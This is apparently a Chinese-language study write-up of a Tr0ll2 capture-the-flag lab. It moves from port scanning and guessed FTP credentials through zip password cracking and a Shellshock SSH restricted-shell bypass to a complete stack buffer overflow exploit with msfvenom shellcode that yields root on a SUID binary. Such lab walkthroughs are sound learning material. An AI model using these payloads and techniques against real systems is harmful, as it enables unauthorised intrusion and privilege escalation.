kali攻击机ip:192.168.181.129
主机发现
nmap -sP 192.168.181.0/24
端口扫描
nmap -p 1-65535 -A 192.168.181.155
访问80端口
nothing here,那就是有东西了
author:TR0ll,可能是用户名
nikto -h 192.168.181.155
目录扫描
dirb http://192.168.181.155
组合起来是段话,暂时没想明白干嘛用的
没用,换个角度
开启了ftp服务,但没啥信息,还是从这里入手试试吧
可惜了,没办法直接用anonymous登录
试试上面发现的Tr0ll
密码为空不行,本来想放弃了,最后神使鬼差试了试用户名作为密码,居然对了
Name:Tr0ll password:Tr0ll
居然还要密码,Tr0ll,noob都不是
生无可恋=_=
但是,看着这个noob,越看越眼熟,好像在哪见过
回去翻翻后发现,在ftp登录时出现一次,在robots.txt又出现一次
不对劲,这斜杠,这,不会是个目录吧?!
被英文小作文蒙蔽了双眼,居然没反应过来=_=
吓我一跳=_=
确实只有一张图片,难道这图片另有玄机?
想起来很久很久以前,某位老师教导我,有一种木马,叫图片马,就是把payload写在php文件里面,然后和一个普通的图片文件拼在一起,重新生成一个图片文件,这个文件可以正常查看图片内容,但是查看图片源码会发现,里面拼接了php代码。
也就是说,有这么一种可能,会有什么信息隐藏在这张图片的源码之中
将文件下载下来,kali cat查看(windows也可以用记事本打开)
cat cat_the_troll.jpg
一般拼接都会在最后面,很遗憾,这个真的只是一张图片
但是,robots.txt还有好多目录文件,说不定还有别的图片
逐个查看,有些文件是打不开的,像这个
经过我不断的尝试(逐渐疯狂),终于,又发现了一张一模一样的图片
表面一样不代表什么,让我们下载下来查看源码
皇天不负有心人,在源码的最后,信息出现了
提示我们一个叫y0ur_self
的东西,这语气,应该是目录文件
果然
这滚动条,吓我两跳
应该就是密码字典了
复制下来,新建一个密码字典
vim answer.txt
真的多,粘贴粘了半分钟
现在字典有了,需要找一个破解zip密码的工具
Fcrackzip
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac
osx 系统。FCrackZip 是Free/Fast Zip Crack(免费,快速Zip密码破解)的意思。
初次使用需要安装
apt-get install fcrackzip
查看帮助文档
fcrackzip -h
几个重要的参数
-b 暴力破解
-u 只输出爆破成功的密码,错误的不输出
-D 使用字典
-p 使用字符串作为初始密码/文件
fcrackzip -b -u -D -p 'answer.txt' 'lmao.zip'
没有结果
难道是密码字典有问题?
再次查看密码文件,发现几乎每个密码后面都有 ‘=’ 作为结尾
忽然反应过来,base64编码就是用=作为填充符的(关于base64的相关知识可以百度了解一下),这很明显就是经过base64编码过的密码文件
使用kali自带的解码工具base64解码
base64 -d answer.txt > passTr0ll2.txt
这一看就正常多了
重新破解,这次有结果了
拿着密码解压文件,解压出了一个noob文件
cat noob
这可能叫做私钥或者公钥,我不是很清楚
但是我知道这里需要密码,而且我没有密码
而且我遇到了这个问题,无法使用公钥登录
sign_and_send_pubkey: no mutual signature supported
已解决
noob需要有读写权限权限(ls -l查看 ,rw就是可读写)
cd ~/.ssh
vim config
写入PubkeyAcceptedKeyTypes +ssh-rsa,保存
重新开启一个终端
报错没了,可以使用公钥登录了
但是还是不成功
利用shellshock漏洞,这是其中一种shell的绕过技术,-t 强制打开一个站点,这里打开/bin/bash终端
绕过Linux受限Shell环境的技巧 - linuxsec - 博客园 (cnblogs.com)
ssh -i noob [email protected] -t '() { :;};/bin/bash'
()和{}之间要留空格
需要密码,看不了
find / -perm -u=s -type f 2>/dev/null
重点是最后三个,nothing to see here,这不明摆着让我们看吗
都是是可执行文件
先找找还有啥别的
查看当前目录文件,ls -a
查看.开头的隐藏文件
查看日志文件,有个bof文件一直出现,还有一个叫gbd的工具不知道是啥
查了一下,gbd是linux环境下的一个代码调试工具
现在已有的信息就是gbd,./bof,和三个可执行文件
不管了,先执行一下exe看看
door1,啥也没看出来
door2,干嘛呢这是,给我干退出了=_=
door3,两分钟困难模式?
好像意思就是不能ls
有点进行不下去了,上网找资料,发现是缓冲区溢出漏洞,我也是第一次听说,船新的领域
所以下列内容也可以说是我的学习笔记,仅供参考
缓冲区溢出(buffer
overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
缓冲区溢出漏洞原理简介 - 知乎 (zhihu.com)
很奇怪,网上运行的r00t结果和我运行出来的序号是不同的,难道这三个文件会互相变?
好吧真的会=_=
Linux od命令 | 菜鸟教程 (runoob.com)
od -S 1 用于查看文件中可读的字符
od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t
这里有个熟悉的bof,人家说有这个文件的就是可以用于提权的
再次确认
od -S 1 /nothing_to_see_here/choose_wisely/door2/r00t | grep bof
gbd常用指令
(86条消息) gdb调试常见命令详细总结(附示例操作)_gdb 命令_快乐的学习的博客-CSDN博客
gdb /nothing_to_see_here/choose_wisely/door2/r00t
检查是否有缓冲区溢出漏洞
r $(python -c 'print "A"*500')
确实有,0x41414141就是溢出发生的地址
segmentation fault 就是经常说的内存泄露/溢出: 当一个进程执行一个无效的内存引用,或发生断错误时,会触发
SIGSEGV信号,内核默认的动作就是 终止该进程。
这里涉及到函数运行时堆栈,用大白话解释一下(当时上课没认真听讲,如有有错漏还请海涵)
先看几个名词:
当一个函数运行结束后,需要有一个返回地址,它指示该函数执行完后该跳转到哪里继续执行下一个函数;这个返回地址就存储在eip中,也可以说是eip当前的地址;
假如一个函数的缓冲区有100个字节,返回地址就从第101个字节起始,到往后的n个字节结束(这里是4)。(是不是字节作单位啊我不造欸,看个意思就好了)
当我们的入参大于缓冲区容量时,若程序本身没有限制,就会发生缓冲区溢出,溢出的发生地点,就从eip开始,也就是说,eip的地址会被改写。比如这里,eip地址被改成了ascii码"AAAA",也就是十六进制的0x41414141(0x代表十六进制编码,41对应ascii中的A)
此时使用命令i r
查看,可以看见eip地址确实是0x41414141,也印证了我前面的说法
使用命令 x/s 0x41414141查看当前内存地址中的值,显示out of bounds(越界),因为内存中根本就没有0x41414141这个地址,这个地址是我们为了测试乱输的
我们想要利用这个溢出的空间,就需要知道它位于哪里;换个说法,就是位于我们的入参的第几位
上面这个AAAA都是一模一样的,辨别不了,我们需要一个可以识别位置的入参
接下来引入一个小工具,pattern_create.rb,它可以帮我们生成一个连续四位不同字符的字符串
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
这里生成一个长度为1000的字符串
入参
r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
溢出地址为0xa413969,可以再次利用这个工具反推该地址在这个字符串的所处位置
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 6a413969
前面有268个,就是说从第269个开始,就是eip的内存空间了
那么第273开始,是谁的空间呢?可以验证一下
r $(python -c 'print "A"*268+"B"*4+"C"*8')
4个B是为了补上eip的空间;内存中有8个"C"的,就是我们要找的寄存器
i r
验证出来了,是esp
找到shellcode插入的位置了,现在找badchars,badchars会导致程序运行终止,所以我们所写入的shellcode中不能存在badchars
这是一个可以生成1~255的十六进制字符的工具,能帮助我们查找所有的badchars
下载解压进入目录然后./badchars
GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.
r $(python -c 'print "A"*268+"B"*4+"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
i r
x/100xb 0xbffffa80
100表示从当前地址显示往后100个单位字节的内容
x表示显示格式16进制
b表示单位为单字节,h表示双字节,w表示四字节,g表示八字节,不指定默认4bytes(位,就是半个字节)
可以看出来,从0x08往后程序就截止了,就是说0x09是badchars,需要把\0x09剔除再继续测试
重复操作,直到能显示到最后一个字符
测试出来三个\x09\x0a\x20,可是\x00也不能要,\x00代表空字符,在程序中会被忽略掉
这里我把\x05替换成\x00,查看esp发现\x00已经没了,如果shellcode里面有\x00,也会被忽略,也就破坏了shellcode的完整性
最后得出坏字符集包括:
\x00\x09\x0a\x20
用msfvenom生成shellcode
msfvenom --platform linux -p linux/x86/exec -f py CMD="/bin/sh" -b '\x09\x0a\x20\x00' -a x86
使用env命令执行exe(其实好像不用也可以,后面再说)
-, -i, --ignore-environment 忽略环境变量
(A*268)+(esp起始地址)+(nop sled)+(shellcode)
env - /nothing_to_see_here/choose_wisely/door2/r00t $(python -c 'print "A"*268 + "\x80\xfc\xff\xbf" + "\x90"*30 + "\xdd\xc4\xd9\x74\x24\xf4\x5a\x29\xc9\xb8\xe0\xf8\x9e\x1f\xb1\x0b\x31\x42\x1a\x03\x42\x1a\x83\xea\xfc\xe2\x15\x92\x95\x47\x4c\x31\xcc\x1f\x43\xd5\x99\x07\xf3\x36\xe9\xaf\x03\x21\x22\x52\x6a\xdf\xb5\x71\x3e\xf7\xce\x75\xbe\x07\xe0\x17\xd7\x69\xd1\xa4\x4f\x76\x7a\x18\x06\x97\x49\x1e"')
nop sled
nop sled
是一种可以破解栈随机化的缓冲区溢出攻击方式栈随机化指运行时栈的起始地址为随机的,所以我们存放shellcode的esp的地址也会发生对应的改变
在shellcode前注入很长的 nop(\x90) 指令 (无操作,仅使程序计数器加一)序列,
程序计数器逐步加一,直到到达攻击代码的存在的地址
提权成功
这串攻击代码其他部分借鉴自网上这个eip的地址"\x80\xfc\xff\xbf",应该是忽略了环境变量之后得到的,但是我做过测试(unset环境变量之后),运行出来的结果并不是这个地址
所有我觉得奇怪,这个eip的地址能不能变呢,是一定要这个地址吗?
所以我做了一点尝试,修改eip的值
使用我上面测试出来esp的地址,当nop sled不够长的时候,确实是无法提权的,但当我们增加\x90的个数后,是可以成功提权的
为了防止是偶然情况,我再尝试了一遍
\x90个数为100时失败,为200时成功
证明只要nop sled枚举的地址足够多,成功几率还是很大的
还有一个env - ,我想试试不用行不行
结果和上面一样,在nop sled足够大的情况下,不用env - 也是可能成功的
o了 (研究了好多天呢)